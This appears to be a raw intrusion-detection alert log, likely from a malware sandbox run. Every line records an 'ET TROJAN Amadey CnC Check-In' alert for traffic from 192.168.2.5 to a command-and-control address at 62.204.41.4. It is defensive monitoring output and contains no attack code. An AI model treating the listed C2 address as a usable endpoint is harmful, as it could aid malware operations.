192.168.2.562.204.41.450210802027700 02/06/23-14:19:07.790071	TCP	2027700	ET TROJAN Amadey CnC Check-In	50210	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450055802027700 02/06/23-14:18:26.352553	TCP	2027700	ET TROJAN Amadey CnC Check-In	50055	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450144802027700 02/06/23-14:18:51.746609	TCP	2027700	ET TROJAN Amadey CnC Check-In	50144	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450181802027700 02/06/23-14:19:00.557837	TCP	2027700	ET TROJAN Amadey CnC Check-In	50181	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449721802027700 02/06/23-14:16:39.081762	TCP	2027700	ET TROJAN Amadey CnC Check-In	49721	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449886802027700 02/06/23-14:17:41.361243	TCP	2027700	ET TROJAN Amadey CnC Check-In	49886	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449845802027700 02/06/23-14:17:28.815135	TCP	2027700	ET TROJAN Amadey CnC Check-In	49845	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450251802027700 02/06/23-14:19:19.419157	TCP	2027700	ET TROJAN Amadey CnC Check-In	50251	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450197802027700 02/06/23-14:19:04.369823	TCP	2027700	ET TROJAN Amadey CnC Check-In	50197	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450239802027700 02/06/23-14:19:16.511065	TCP	2027700	ET TROJAN Amadey CnC Check-In	50239	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449811802027700 02/06/23-14:17:20.370369	TCP	2027700	ET TROJAN Amadey CnC Check-In	49811	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449947802027700 02/06/23-14:17:58.363275	TCP	2027700	ET TROJAN Amadey CnC Check-In	49947	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450214802027700 02/06/23-14:19:10.427528	TCP	2027700	ET TROJAN Amadey CnC Check-In	50214	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450128802027700 02/06/23-14:18:46.183273	TCP	2027700	ET TROJAN Amadey CnC Check-In	50128	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450125802027700 02/06/23-14:18:45.461673	TCP	2027700	ET TROJAN Amadey CnC Check-In	50125	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450223802027700 02/06/23-14:19:12.572504	TCP	2027700	ET TROJAN Amadey CnC Check-In	50223	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449864802027700 02/06/23-14:17:35.997425	TCP	2027700	ET TROJAN Amadey CnC Check-In	49864	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450131802027700 02/06/23-14:18:46.931870	TCP	2027700	ET TROJAN Amadey CnC Check-In	50131	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449766802027700 02/06/23-14:17:02.800104	TCP	2027700	ET TROJAN Amadey CnC Check-In	49766	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450070802027700 02/06/23-14:18:30.493721	TCP	2027700	ET TROJAN Amadey CnC Check-In	50070	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449849802027700 02/06/23-14:17:29.835564	TCP	2027700	ET TROJAN Amadey CnC Check-In	49849	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449775802027700 02/06/23-14:17:04.965034	TCP	2027700	ET TROJAN Amadey CnC Check-In	49775	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449858802027700 02/06/23-14:17:32.692575	TCP	2027700	ET TROJAN Amadey CnC Check-In	49858	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449794802027700 02/06/23-14:17:14.531025	TCP	2027700	ET TROJAN Amadey CnC Check-In	49794	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450140802027700 02/06/23-14:18:49.757098	TCP	2027700	ET TROJAN Amadey CnC Check-In	50140	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449696802027700 02/06/23-14:16:30.082324	TCP	2027700	ET TROJAN Amadey CnC Check-In	49696	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449791802027700 02/06/23-14:17:11.901331	TCP	2027700	ET TROJAN Amadey CnC Check-In	49791	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450042802027700 02/06/23-14:18:23.193844	TCP	2027700	ET TROJAN Amadey CnC Check-In	50042	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450039802027700 02/06/23-14:18:22.475115	TCP	2027700	ET TROJAN Amadey CnC Check-In	50039	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449922802027700 02/06/23-14:17:50.176453	TCP	2027700	ET TROJAN Amadey CnC Check-In	49922	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449880802027700 02/06/23-14:17:39.895059	TCP	2027700	ET TROJAN Amadey CnC Check-In	49880	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449931802027700 02/06/23-14:17:53.428938	TCP	2027700	ET TROJAN Amadey CnC Check-In	49931	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450201802027700 02/06/23-14:19:05.341831	TCP	2027700	ET TROJAN Amadey CnC Check-In	50201	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449836802027700 02/06/23-14:17:26.660549	TCP	2027700	ET TROJAN Amadey CnC Check-In	49836	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450242802027700 02/06/23-14:19:17.244962	TCP	2027700	ET TROJAN Amadey CnC Check-In	50242	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450112802027700 02/06/23-14:18:42.306783	TCP	2027700	ET TROJAN Amadey CnC Check-In	50112	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449877802027700 02/06/23-14:17:39.154447	TCP	2027700	ET TROJAN Amadey CnC Check-In	49877	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449706802027700 02/06/23-14:16:32.563264	TCP	2027700	ET TROJAN Amadey CnC Check-In	49706	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449919802027700 02/06/23-14:17:49.446973	TCP	2027700	ET TROJAN Amadey CnC Check-In	49919	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449747802027700 02/06/23-14:16:58.093214	TCP	2027700	ET TROJAN Amadey CnC Check-In	49747	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449788802027700 02/06/23-14:17:11.171371	TCP	2027700	ET TROJAN Amadey CnC Check-In	49788	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450099802027700 02/06/23-14:18:39.101683	TCP	2027700	ET TROJAN Amadey CnC Check-In	50099	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450153802027700 02/06/23-14:18:53.883684	TCP	2027700	ET TROJAN Amadey CnC Check-In	50153	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450194802027700 02/06/23-14:19:03.649008	TCP	2027700	ET TROJAN Amadey CnC Check-In	50194	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449861802027700 02/06/23-14:17:34.059959	TCP	2027700	ET TROJAN Amadey CnC Check-In	49861	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449903802027700 02/06/23-14:17:45.622795	TCP	2027700	ET TROJAN Amadey CnC Check-In	49903	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449991802027700 02/06/23-14:18:08.977328	TCP	2027700	ET TROJAN Amadey CnC Check-In	49991	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450058802027700 02/06/23-14:18:27.099530	TCP	2027700	ET TROJAN Amadey CnC Check-In	50058	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449950802027700 02/06/23-14:17:59.104527	TCP	2027700	ET TROJAN Amadey CnC Check-In	49950	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449725802027700 02/06/23-14:16:43.045430	TCP	2027700	ET TROJAN Amadey CnC Check-In	49725	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449918802027700 02/06/23-14:17:49.195230	TCP	2027700	ET TROJAN Amadey CnC Check-In	49918	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450053802027700 02/06/23-14:18:25.872783	TCP	2027700	ET TROJAN Amadey CnC Check-In	50053	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449691802027700 02/06/23-14:16:28.832692	TCP	2027700	ET TROJAN Amadey CnC Check-In	49691	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449823802027700 02/06/23-14:17:23.433454	TCP	2027700	ET TROJAN Amadey CnC Check-In	49823	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450148802027700 02/06/23-14:18:52.713607	TCP	2027700	ET TROJAN Amadey CnC Check-In	50148	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449841802027700 02/06/23-14:17:27.862568	TCP	2027700	ET TROJAN Amadey CnC Check-In	49841	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449997802027700 02/06/23-14:18:10.399966	TCP	2027700	ET TROJAN Amadey CnC Check-In	49997	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449851802027700 02/06/23-14:17:30.340440	TCP	2027700	ET TROJAN Amadey CnC Check-In	49851	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449936802027700 02/06/23-14:17:55.677694	TCP	2027700	ET TROJAN Amadey CnC Check-In	49936	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450264802027700 02/06/23-14:19:22.564257	TCP	2027700	ET TROJAN Amadey CnC Check-In	50264	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450025802027700 02/06/23-14:18:19.101446	TCP	2027700	ET TROJAN Amadey CnC Check-In	50025	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450166802027700 02/06/23-14:18:56.977674	TCP	2027700	ET TROJAN Amadey CnC Check-In	50166	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450007802027700 02/06/23-14:18:14.733547	TCP	2027700	ET TROJAN Amadey CnC Check-In	50007	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450081802027700 02/06/23-14:18:34.695568	TCP	2027700	ET TROJAN Amadey CnC Check-In	50081	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450086802027700 02/06/23-14:18:35.914582	TCP	2027700	ET TROJAN Amadey CnC Check-In	50086	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450203802027700 02/06/23-14:19:05.828473	TCP	2027700	ET TROJAN Amadey CnC Check-In	50203	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449954802027700 02/06/23-14:18:00.082620	TCP	2027700	ET TROJAN Amadey CnC Check-In	49954	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449758802027700 02/06/23-14:17:00.787104	TCP	2027700	ET TROJAN Amadey CnC Check-In	49758	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450138802027700 02/06/23-14:18:48.816932	TCP	2027700	ET TROJAN Amadey CnC Check-In	50138	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450043802027700 02/06/23-14:18:23.431243	TCP	2027700	ET TROJAN Amadey CnC Check-In	50043	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450002802027700 02/06/23-14:18:12.405676	TCP	2027700	ET TROJAN Amadey CnC Check-In	50002	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450221802027700 02/06/23-14:19:12.104838	TCP	2027700	ET TROJAN Amadey CnC Check-In	50221	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449946802027700 02/06/23-14:17:58.119195	TCP	2027700	ET TROJAN Amadey CnC Check-In	49946	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449969802027700 02/06/23-14:18:03.665186	TCP	2027700	ET TROJAN Amadey CnC Check-In	49969	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450020802027700 02/06/23-14:18:17.901532	TCP	2027700	ET TROJAN Amadey CnC Check-In	50020	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449928802027700 02/06/23-14:17:51.819640	TCP	2027700	ET TROJAN Amadey CnC Check-In	49928	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450061802027700 02/06/23-14:18:27.966194	TCP	2027700	ET TROJAN Amadey CnC Check-In	50061	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449768802027700 02/06/23-14:17:03.301035	TCP	2027700	ET TROJAN Amadey CnC Check-In	49768	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449987802027700 02/06/23-14:18:08.011491	TCP	2027700	ET TROJAN Amadey CnC Check-In	49987	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449763802027700 02/06/23-14:17:02.065956	TCP	2027700	ET TROJAN Amadey CnC Check-In	49763	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449964802027700 02/06/23-14:18:02.489492	TCP	2027700	ET TROJAN Amadey CnC Check-In	49964	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449786802027700 02/06/23-14:17:07.678071	TCP	2027700	ET TROJAN Amadey CnC Check-In	49786	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449982802027700 02/06/23-14:18:06.788989	TCP	2027700	ET TROJAN Amadey CnC Check-In	49982	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450091802027700 02/06/23-14:18:37.165425	TCP	2027700	ET TROJAN Amadey CnC Check-In	50091	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450211802027700 02/06/23-14:19:08.508471	TCP	2027700	ET TROJAN Amadey CnC Check-In	50211	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449959802027700 02/06/23-14:18:01.254903	TCP	2027700	ET TROJAN Amadey CnC Check-In	49959	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449800802027700 02/06/23-14:17:17.654882	TCP	2027700	ET TROJAN Amadey CnC Check-In	49800	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450033802027700 02/06/23-14:18:21.009110	TCP	2027700	ET TROJAN Amadey CnC Check-In	50033	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450030802027700 02/06/23-14:18:20.273308	TCP	2027700	ET TROJAN Amadey CnC Check-In	50030	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450189802027700 02/06/23-14:19:02.451596	TCP	2027700	ET TROJAN Amadey CnC Check-In	50189	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449956802027700 02/06/23-14:18:00.553096	TCP	2027700	ET TROJAN Amadey CnC Check-In	49956	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450107802027700 02/06/23-14:18:41.040652	TCP	2027700	ET TROJAN Amadey CnC Check-In	50107	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450048802027700 02/06/23-14:18:24.617450	TCP	2027700	ET TROJAN Amadey CnC Check-In	50048	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449778802027700 02/06/23-14:17:05.707869	TCP	2027700	ET TROJAN Amadey CnC Check-In	49778	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449892802027700 02/06/23-14:17:42.833784	TCP	2027700	ET TROJAN Amadey CnC Check-In	49892	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450241802027700 02/06/23-14:19:16.998707	TCP	2027700	ET TROJAN Amadey CnC Check-In	50241	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450226802027700 02/06/23-14:19:13.307960	TCP	2027700	ET TROJAN Amadey CnC Check-In	50226	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449821802027700 02/06/23-14:17:22.892786	TCP	2027700	ET TROJAN Amadey CnC Check-In	49821	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450063802027700 02/06/23-14:18:28.448526	TCP	2027700	ET TROJAN Amadey CnC Check-In	50063	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449773802027700 02/06/23-14:17:04.487846	TCP	2027700	ET TROJAN Amadey CnC Check-In	49773	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449913802027700 02/06/23-14:17:48.004988	TCP	2027700	ET TROJAN Amadey CnC Check-In	49913	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449992802027700 02/06/23-14:18:09.210071	TCP	2027700	ET TROJAN Amadey CnC Check-In	49992	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449995802027700 02/06/23-14:18:09.929475	TCP	2027700	ET TROJAN Amadey CnC Check-In	49995	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449735802027700 02/06/23-14:16:51.844624	TCP	2027700	ET TROJAN Amadey CnC Check-In	49735	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449776802027700 02/06/23-14:17:05.213338	TCP	2027700	ET TROJAN Amadey CnC Check-In	49776	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449854802027700 02/06/23-14:17:31.105331	TCP	2027700	ET TROJAN Amadey CnC Check-In	49854	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450005802027700 02/06/23-14:18:14.255721	TCP	2027700	ET TROJAN Amadey CnC Check-In	50005	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449984802027700 02/06/23-14:18:07.273532	TCP	2027700	ET TROJAN Amadey CnC Check-In	49984	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450176802027700 02/06/23-14:18:59.358931	TCP	2027700	ET TROJAN Amadey CnC Check-In	50176	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449813802027700 02/06/23-14:17:20.872292	TCP	2027700	ET TROJAN Amadey CnC Check-In	49813	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450135802027700 02/06/23-14:18:47.882067	TCP	2027700	ET TROJAN Amadey CnC Check-In	50135	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449926802027700 02/06/23-14:17:51.137580	TCP	2027700	ET TROJAN Amadey CnC Check-In	49926	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449707802027700 02/06/23-14:16:32.799134	TCP	2027700	ET TROJAN Amadey CnC Check-In	49707	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450071802027700 02/06/23-14:18:31.257000	TCP	2027700	ET TROJAN Amadey CnC Check-In	50071	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450254802027700 02/06/23-14:19:20.138555	TCP	2027700	ET TROJAN Amadey CnC Check-In	50254	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449748802027700 02/06/23-14:16:58.336552	TCP	2027700	ET TROJAN Amadey CnC Check-In	49748	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449967802027700 02/06/23-14:18:03.193009	TCP	2027700	ET TROJAN Amadey CnC Check-In	49967	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450076802027700 02/06/23-14:18:33.527817	TCP	2027700	ET TROJAN Amadey CnC Check-In	50076	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450213802027700 02/06/23-14:19:10.017712	TCP	2027700	ET TROJAN Amadey CnC Check-In	50213	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450035802027700 02/06/23-14:18:21.518036	TCP	2027700	ET TROJAN Amadey CnC Check-In	50035	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449789802027700 02/06/23-14:17:11.410184	TCP	2027700	ET TROJAN Amadey CnC Check-In	49789	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450056802027700 02/06/23-14:18:26.630496	TCP	2027700	ET TROJAN Amadey CnC Check-In	50056	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449694802027700 02/06/23-14:16:29.585296	TCP	2027700	ET TROJAN Amadey CnC Check-In	49694	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450145802027700 02/06/23-14:18:51.997575	TCP	2027700	ET TROJAN Amadey CnC Check-In	50145	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449783802027700 02/06/23-14:17:06.930392	TCP	2027700	ET TROJAN Amadey CnC Check-In	49783	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449872802027700 02/06/23-14:17:37.956883	TCP	2027700	ET TROJAN Amadey CnC Check-In	49872	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449933802027700 02/06/23-14:17:54.746193	TCP	2027700	ET TROJAN Amadey CnC Check-In	49933	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449961802027700 02/06/23-14:18:01.749516	TCP	2027700	ET TROJAN Amadey CnC Check-In	49961	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449844802027700 02/06/23-14:17:28.581102	TCP	2027700	ET TROJAN Amadey CnC Check-In	49844	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450111802027700 02/06/23-14:18:42.055400	TCP	2027700	ET TROJAN Amadey CnC Check-In	50111	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450117802027700 02/06/23-14:18:43.523915	TCP	2027700	ET TROJAN Amadey CnC Check-In	50117	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449755802027700 02/06/23-14:17:00.032530	TCP	2027700	ET TROJAN Amadey CnC Check-In	49755	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450200802027700 02/06/23-14:19:05.093129	TCP	2027700	ET TROJAN Amadey CnC Check-In	50200	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450206802027700 02/06/23-14:19:06.573238	TCP	2027700	ET TROJAN Amadey CnC Check-In	50206	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449951802027700 02/06/23-14:17:59.351611	TCP	2027700	ET TROJAN Amadey CnC Check-In	49951	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449939802027700 02/06/23-14:17:56.379898	TCP	2027700	ET TROJAN Amadey CnC Check-In	49939	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450022802027700 02/06/23-14:18:18.367475	TCP	2027700	ET TROJAN Amadey CnC Check-In	50022	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449905802027700 02/06/23-14:17:46.099037	TCP	2027700	ET TROJAN Amadey CnC Check-In	49905	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450196802027700 02/06/23-14:19:04.123385	TCP	2027700	ET TROJAN Amadey CnC Check-In	50196	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450066802027700 02/06/23-14:18:29.146657	TCP	2027700	ET TROJAN Amadey CnC Check-In	50066	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450173802027700 02/06/23-14:18:58.637896	TCP	2027700	ET TROJAN Amadey CnC Check-In	50173	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449816802027700 02/06/23-14:17:21.645116	TCP	2027700	ET TROJAN Amadey CnC Check-In	49816	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450262802027700 02/06/23-14:19:22.073797	TCP	2027700	ET TROJAN Amadey CnC Check-In	50262	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449793802027700 02/06/23-14:17:12.843598	TCP	2027700	ET TROJAN Amadey CnC Check-In	49793	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450084802027700 02/06/23-14:18:35.437223	TCP	2027700	ET TROJAN Amadey CnC Check-In	50084	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449882802027700 02/06/23-14:17:40.393565	TCP	2027700	ET TROJAN Amadey CnC Check-In	49882	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450257802027700 02/06/23-14:19:20.856195	TCP	2027700	ET TROJAN Amadey CnC Check-In	50257	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449704802027700 02/06/23-14:16:32.045624	TCP	2027700	ET TROJAN Amadey CnC Check-In	49704	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449923802027700 02/06/23-14:17:50.412938	TCP	2027700	ET TROJAN Amadey CnC Check-In	49923	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449971802027700 02/06/23-14:18:04.128227	TCP	2027700	ET TROJAN Amadey CnC Check-In	49971	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450127802027700 02/06/23-14:18:45.946491	TCP	2027700	ET TROJAN Amadey CnC Check-In	50127	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449727802027700 02/06/23-14:16:43.531561	TCP	2027700	ET TROJAN Amadey CnC Check-In	49727	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450168802027700 02/06/23-14:18:57.456115	TCP	2027700	ET TROJAN Amadey CnC Check-In	50168	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450038802027700 02/06/23-14:18:22.237631	TCP	2027700	ET TROJAN Amadey CnC Check-In	50038	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450234802027700 02/06/23-14:19:15.265931	TCP	2027700	ET TROJAN Amadey CnC Check-In	50234	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449745802027700 02/06/23-14:16:57.611373	TCP	2027700	ET TROJAN Amadey CnC Check-In	49745	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450216802027700 02/06/23-14:19:10.901301	TCP	2027700	ET TROJAN Amadey CnC Check-In	50216	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449834802027700 02/06/23-14:17:26.192657	TCP	2027700	ET TROJAN Amadey CnC Check-In	49834	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450050802027700 02/06/23-14:18:25.142675	TCP	2027700	ET TROJAN Amadey CnC Check-In	50050	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450180802027700 02/06/23-14:19:00.308509	TCP	2027700	ET TROJAN Amadey CnC Check-In	50180	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450186802027700 02/06/23-14:19:01.729093	TCP	2027700	ET TROJAN Amadey CnC Check-In	50186	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450183802027700 02/06/23-14:19:01.029659	TCP	2027700	ET TROJAN Amadey CnC Check-In	50183	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450094802027700 02/06/23-14:18:37.890736	TCP	2027700	ET TROJAN Amadey CnC Check-In	50094	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450275802027700 02/06/23-14:19:25.216519	TCP	2027700	ET TROJAN Amadey CnC Check-In	50275	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449803802027700 02/06/23-14:17:18.396345	TCP	2027700	ET TROJAN Amadey CnC Check-In	49803	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450097802027700 02/06/23-14:18:38.635757	TCP	2027700	ET TROJAN Amadey CnC Check-In	50097	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450015802027700 02/06/23-14:18:16.703906	TCP	2027700	ET TROJAN Amadey CnC Check-In	50015	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449974802027700 02/06/23-14:18:04.837734	TCP	2027700	ET TROJAN Amadey CnC Check-In	49974	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449977802027700 02/06/23-14:18:05.552322	TCP	2027700	ET TROJAN Amadey CnC Check-In	49977	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450247802027700 02/06/23-14:19:18.456525	TCP	2027700	ET TROJAN Amadey CnC Check-In	50247	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449714802027700 02/06/23-14:16:34.963073	TCP	2027700	ET TROJAN Amadey CnC Check-In	49714	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449885802027700 02/06/23-14:17:41.119392	TCP	2027700	ET TROJAN Amadey CnC Check-In	49885	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450155802027700 02/06/23-14:18:54.353665	TCP	2027700	ET TROJAN Amadey CnC Check-In	50155	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449888802027700 02/06/23-14:17:41.840855	TCP	2027700	ET TROJAN Amadey CnC Check-In	49888	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449806802027700 02/06/23-14:17:19.119476	TCP	2027700	ET TROJAN Amadey CnC Check-In	49806	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449799802027700 02/06/23-14:17:17.417286	TCP	2027700	ET TROJAN Amadey CnC Check-In	49799	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450244802027700 02/06/23-14:19:17.729582	TCP	2027700	ET TROJAN Amadey CnC Check-In	50244	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449717802027700 02/06/23-14:16:38.110725	TCP	2027700	ET TROJAN Amadey CnC Check-In	49717	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449908802027700 02/06/23-14:17:46.800738	TCP	2027700	ET TROJAN Amadey CnC Check-In	49908	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450040802027700 02/06/23-14:18:22.709350	TCP	2027700	ET TROJAN Amadey CnC Check-In	50040	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450199802027700 02/06/23-14:19:04.853144	TCP	2027700	ET TROJAN Amadey CnC Check-In	50199	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449796802027700 02/06/23-14:17:16.378790	TCP	2027700	ET TROJAN Amadey CnC Check-In	49796	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450158802027700 02/06/23-14:18:55.072147	TCP	2027700	ET TROJAN Amadey CnC Check-In	50158	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450028802027700 02/06/23-14:18:19.806368	TCP	2027700	ET TROJAN Amadey CnC Check-In	50028	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450069802027700 02/06/23-14:18:30.250801	TCP	2027700	ET TROJAN Amadey CnC Check-In	50069	80	192.168.2.5	62.204.41.4
